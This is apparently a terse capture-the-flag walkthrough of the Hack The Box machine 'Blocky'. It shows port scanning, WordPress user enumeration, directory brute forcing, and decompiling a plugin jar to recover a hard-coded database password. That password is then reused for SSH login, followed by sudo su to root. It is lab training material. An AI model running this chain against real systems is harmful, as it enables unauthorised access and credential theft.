

## WORDPRESS USER ENUM

## JAVA DECOMPILING

## SUDO SU

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5a

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)

| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)

|\_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|\_http-generator: WordPress 4.8

|\_http-server-header: Apache/2.4.18 (Ubuntu)

|\_http-title: BlockyCraft &#8211; Under Construction!

8192/tcp closed sophos

25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

root@kali:/home/kali/Desktop/hackthebox/blocky# wpscan --url http://blocky.htb -e u

[i] User(s) Identified:

[+] notch

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

root@kali:/home/kali/Desktop/hackthebox/blocky# gobuster dir -u http://blocky.htb/ -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/wiki (Status: 301)

/wp-content (Status: 301)

/plugins (Status: 301)

/wp-includes (Status: 301)

/javascript (Status: 301)

/wp-admin (Status: 301)

/phpmyadmin (Status: 301)

<http://blocky.htb/plugins/>

```
root@kali:/home/kali/Desktop/hackthebox/blocky# unzip BlockyCore.jar
```

```
root@kali:/home/kali/Desktop/hackthebox/blocky/com/myfirstplugin# javap -c BlockyCore.class
```

Code:

```
0: aload_0
1: invokespecial #12      // Method java/lang/Object."<init>":()V
4: aload_0
5: ldc      #14      // String localhost
7: putfield  #16      // Field sqlHost:Ljava/lang/String;
10: aload_0
11: ldc      #18      // String root
13: putfield  #20      // Field sqlUser:Ljava/lang/String;
16: aload_0
17: ldc      #22      // String 8YsqfCTnvxAUeduzjNSXe22
19: putfield  #24      // Field sqlPass:Ljava/lang/String;
```

```
root@kali:/home/kali/Desktop/hackthebox/blocky# ssh notch@blocky.htb
```

```
notch@Blocky:~$ ls
```

```
minecraft user.txt
```

```
notch@Blocky:~$ cat user.txt
```

```
59fee0977fb60b8a0bc6e41e751f3cd5notch@Blocky:~$
```

```
notch@Blocky:~$ sudo -l
```

```
[sudo] password for notch:
```

Matching Defaults entries for notch on Blocky:

```
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

User notch may run the following commands on Blocky:

```
(ALL : ALL) ALL
```

```
notch@Blocky:~$ sudo su
```